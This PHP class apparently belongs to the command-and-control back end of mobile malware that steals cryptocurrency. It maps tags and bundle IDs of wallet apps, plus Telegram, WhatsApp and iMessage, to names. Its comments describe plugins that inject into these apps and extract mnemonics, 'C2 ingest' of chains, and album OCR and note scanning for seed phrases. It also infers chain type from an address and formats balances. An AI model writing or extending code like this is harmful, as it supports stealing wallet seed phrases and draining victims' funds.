<?php

namespace App\Support;

/**
 * Map plugin short tag payload `a` → human wallet name.
 */
final class WalletSource
{
    /** @var array<string, string> */
    private const TAGS = [
        'b' => 'imToken',
        'b1' => 'imToken',
        'p' => 'Global Wallet',
        'd' => 'Trust Wallet',
        'r' => 'Bitpie',
        'q' => 'Coin98',
        'e' => 'Coinbase Wallet',
        'k' => 'Exodus',
        'm' => 'Krystal',
        'a' => 'MetaMask',
        'a1' => 'MetaMask',
        'j' => 'MyTonWallet',
        'i' => 'Phantom',
        'l' => 'Ronin',
        'n' => 'Tonhub',
        'g' => 'Tonkeeper',
        'h' => 'Uniswap',
        'h1' => 'Uniswap',
        't' => 'OKX',
        'c' => 'TronLink',
        'f' => 'BitKeep',
        's' => 'Solflare',
        'tg' => 'Telegram',
        'wp' => 'WhatsApp',
        'wa' => 'WhatsApp',
        'wap' => 'WhatsApp',
        'sms' => 'iMessage',
        // lab / fixture aliases
        'tp' => 'TokenPocket',
        'im' => 'imToken',
        'album_ocr' => '相册',
        'note_scan' => '备忘录扫描',
    ];

    /**
     * Display names for plugin wallet bundle IDs (mnemonic-capable).
     *
     * @var array<string, string>
     */
    private const BUNDLE_LABELS = [
        'im.token.app' => 'imToken',
        'io.metamask' => 'MetaMask',
        'io.metamask.MetaMask' => 'MetaMask',
        'com.wallet.crypto.trustapp' => 'Trust Wallet',
        'com.sixdays.trust' => 'Trust Wallet',
        'com.okex.wallet' => 'OKX',
        'com.okex.OKExAppstoreFull' => 'OKX',
        'com.coinbase.wallet' => 'Coinbase Wallet',
        'org.toshi.distribution' => 'Coinbase Wallet',
        'com.exodus' => 'Exodus',
        'exodus-movement.exodus' => 'Exodus',
        'app.phantom' => 'Phantom',
        'com.uniswap.mobile' => 'Uniswap',
        'com.tronlinkpro.wallet' => 'TronLink',
        'com.tronlink.hdwallet' => 'TronLink',
        'com.mytonwallet.app' => 'MyTonWallet',
        'org.mytonwallet.app' => 'MyTonWallet',
        'com.tonhub.app' => 'Tonhub',
        'com.tonkeeper.app' => 'Tonkeeper',
        'com.jbig.tonkeeper' => 'Tonkeeper',
        'vip.mytokenpocket' => 'TokenPocket',
        'com.bitkeep.wallet' => 'BitKeep',
        'com.bitkeep.os' => 'BitKeep',
        'com.bitpie' => 'Bitpie',
        'com.bitpie.wallet' => 'Bitpie',
        'com.coin98' => 'Coin98',
        'coin98.crypto.finance.insights' => 'Coin98',
        'com.solflare.mobile' => 'Solflare',
        'com.roninchain.wallet' => 'Ronin',
        'com.skymavis.Genesis' => 'Ronin',
        'com.krystal.wallet' => 'Krystal',
        'com.kyrd.krystal.ios' => 'Krystal',
        'com.global.wallet.ios' => 'Global Wallet',
    ];

    /**
     * DS /war wallet bucket keys → display name. Unknown keys stay empty.
     *
     * @var array<string, string>
     */
    private const DS_WALLET_KEYS = [
        'trustwallet' => 'Trust Wallet',
        'trust_wallet' => 'Trust Wallet',
        'trust' => 'Trust Wallet',
        'imtoken' => 'imToken',
        'im.token' => 'imToken',
        'tokenpocket' => 'TokenPocket',
        'token_pocket' => 'TokenPocket',
        'phantom' => 'Phantom',
        'uniswap' => 'Uniswap',
        'coinbase' => 'Coinbase Wallet',
        'bitget' => 'BitKeep',
        'bitkeep' => 'BitKeep',
        'metamask' => 'MetaMask',
        'okx' => 'OKX',
        'tronlink' => 'TronLink',
        'coin98' => 'Coin98',
        'solflare' => 'Solflare',
        'exodus' => 'Exodus',
        'tonkeeper' => 'Tonkeeper',
        'mytonwallet' => 'MyTonWallet',
        'tonhub' => 'Tonhub',
        'bitpie' => 'Bitpie',
        'telegram' => 'Telegram',
        'whatsapp' => 'WhatsApp',
    ];

    /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */
    private const NON_MNEMONIC_BUNDLES = [
        'ph.telegra.Telegraph',
        'net.whatsapp.WhatsApp',
        'imagent',
        'com.apple.imagent',
    ];

    public const MANUAL_LABEL = '手动添加';

    public static function fromTag(mixed $tag): string
    {
        if (! is_string($tag) || $tag === '') {
            return 'unknown';
        }
        $key = strtolower(trim($tag));

        return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
    }

    /**
     * Keystore source: known wallet name, or empty when unrecognized.
     */
    public static function fromKeystoreHint(mixed $hint): string
    {
        if (! is_string($hint) || trim($hint) === '') {
            return '';
        }
        $raw = trim($hint);
        $key = strtolower($raw);
        if (isset(self::TAGS[$key])) {
            return self::TAGS[$key];
        }
        if (isset(self::DS_WALLET_KEYS[$key])) {
            return self::DS_WALLET_KEYS[$key];
        }
        foreach (self::knownLabels() as $label) {
            if (strcasecmp($label, $raw) === 0) {
                return $label;
            }
        }
        if (str_contains($key, 'utc--') || str_contains($key, 'trustwallet') || str_contains($key, 'trust_wallet')) {
            return 'Trust Wallet';
        }
        if (str_contains($key, 'bitpie')) {
            return 'Bitpie';
        }
        if (str_contains($key, 'imtoken') || str_contains($key, 'im.token')) {
            return 'imToken';
        }
        if (str_contains($key, 'tokenpocket') || str_contains($key, 'token_pocket')) {
            return 'TokenPocket';
        }
        if (str_contains($key, 'metamask')) {
            return 'MetaMask';
        }

        return '';
    }

    /**
     * Plugin tag used when writing a recovered mnemonic (`d` = Trust Wallet).
     */
    public static function tagForLabel(string $label): string
    {
        $label = trim($label);
        foreach (self::TAGS as $tag => $name) {
            if (strcasecmp($name, $label) === 0) {
                return $tag;
            }
        }

        return '';
    }

    /**
     * Wallet names shown when an admin manually attaches a mnemonic.
     *
     * @return list<string>
     */
    public static function mnemonicSourceOptions(): array
    {
        $skip = ['Telegram', 'WhatsApp', 'iMessage', 'unknown'];
        $labels = [];
        foreach (self::knownLabels() as $label) {
            $label = trim($label);
            if ($label === '' || in_array($label, $skip, true)) {
                continue;
            }
            $labels[$label] = true;
        }
        $sorted = array_keys($labels);
        sort($sorted, SORT_NATURAL | SORT_FLAG_CASE);
        $sorted[] = self::MANUAL_LABEL;

        return $sorted;
    }

    /**
     * @return list<string>
     */
    private static function knownLabels(): array
    {
        return array_values(array_unique(array_merge(
            array_values(self::TAGS),
            array_values(self::DS_WALLET_KEYS),
            array_values(self::BUNDLE_LABELS),
        )));
    }

    /**
     * True when this bundle is a business plugin that can extract a mnemonic.
     */
    public static function isPluginWalletBundle(string $bundle): bool
    {
        $bundle = trim($bundle);
        if ($bundle === '' || in_array($bundle, self::NON_MNEMONIC_BUNDLES, true)) {
            return false;
        }
        if (isset(self::BUNDLE_LABELS[$bundle])) {
            return true;
        }

        $configured = config('coruna.wallet_bundles', []);

        return is_array($configured) && in_array($bundle, $configured, true)
            && ! in_array($bundle, self::NON_MNEMONIC_BUNDLES, true);
    }

    public static function labelForBundle(string $bundle, ?string $fallback = null): string
    {
        $bundle = trim($bundle);
        if (isset(self::BUNDLE_LABELS[$bundle])) {
            return self::BUNDLE_LABELS[$bundle];
        }
        $fallback = trim((string) $fallback);

        return $fallback !== '' ? $fallback : ($bundle !== '' ? $bundle : 'unknown');
    }

    /**
     * Chains we persist from C2 ingest (skip UNKNOWN / niche networks).
     *
     * @var list<string>
     */
    public const SUPPORTED_CHAINS = [
        'ETH', 'ETHEREUM', 'EVM',
        'TRX', 'TRON',
        'BTC', 'BITCOIN',
        'BNB', 'BSC', 'BINANCE',
    ];

    public static function isSupportedChain(string $chainType): bool
    {
        return in_array(strtoupper(trim($chainType)), self::SUPPORTED_CHAINS, true);
    }

    /**
     * Infer chain type from address when plugin omits chainType.
     */
    public static function inferChainType(string $address): string
    {
        $address = trim($address);
        if ($address === '') {
            return 'UNKNOWN';
        }
        if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
            return 'ETHEREUM';
        }
        if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
            return 'TRON';
        }
        // Binance Chain / Beacon Chain bech32 (must precede Solana base58)
        if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
            return 'BSC';
        }
        if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
            return 'BITCOIN';
        }
        if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
            // Solana-like base58
            return 'SOLANA';
        }
        if (preg_match('/^EQ|^UQ/i', $address)) {
            return 'TON';
        }

        return 'UNKNOWN';
    }

    /**
     * Format raw on-chain integer by decimal; pass through already-decimal strings.
     */
    public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
    {
        if ($raw === null || $raw === '') {
            return 0;
        }
        $rawStr = trim((string) $raw);
        if ($rawStr === '') {
            return 0;
        }

        // Already human-readable (contains decimal point) — keep numeric value.
        if (str_contains($rawStr, '.')) {
            return self::normalizeNumber($rawStr);
        }

        if ($decimal === null || $decimal === '') {
            return self::normalizeNumber($rawStr);
        }

        $dec = (int) $decimal;
        if ($dec <= 0) {
            return self::normalizeNumber($rawStr);
        }

        if (! function_exists('bcdiv')) {
            $value = ((float) $rawStr) / (10 ** $dec);

            return self::normalizeNumber((string) $value);
        }

        $formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
        $formatted = rtrim(rtrim($formatted, '0'), '.');
        if ($formatted === '' || $formatted === '-0') {
            $formatted = '0';
        }

        return self::normalizeNumber($formatted);
    }

    private static function normalizeNumber(string $value): int|float|string
    {
        if (! is_numeric($value)) {
            return $value;
        }
        if (str_contains($value, '.')) {
            $f = (float) $value;

            return $f == (int) $f ? (int) $f : $f;
        }
        // large integers stay as string if beyond PHP int
        if (strlen(ltrim($value, '+-')) > 18) {
            return $value;
        }

        return (int) $value;
    }

    public static function nativeSymbolForChain(string $chainType): string
    {
        return match (strtoupper($chainType)) {
            'TRON', 'TRX' => 'TRX',
            'BITCOIN', 'BTC' => 'BTC',
            'ETHEREUM', 'ETH', 'EVM' => 'ETH',
            'SOLANA', 'SOL' => 'SOL',
            'TON' => 'TON',
            'BNB', 'BSC', 'BINANCE' => 'BNB',
            default => strtoupper($chainType) ?: 'UNKNOWN',
        };
    }
}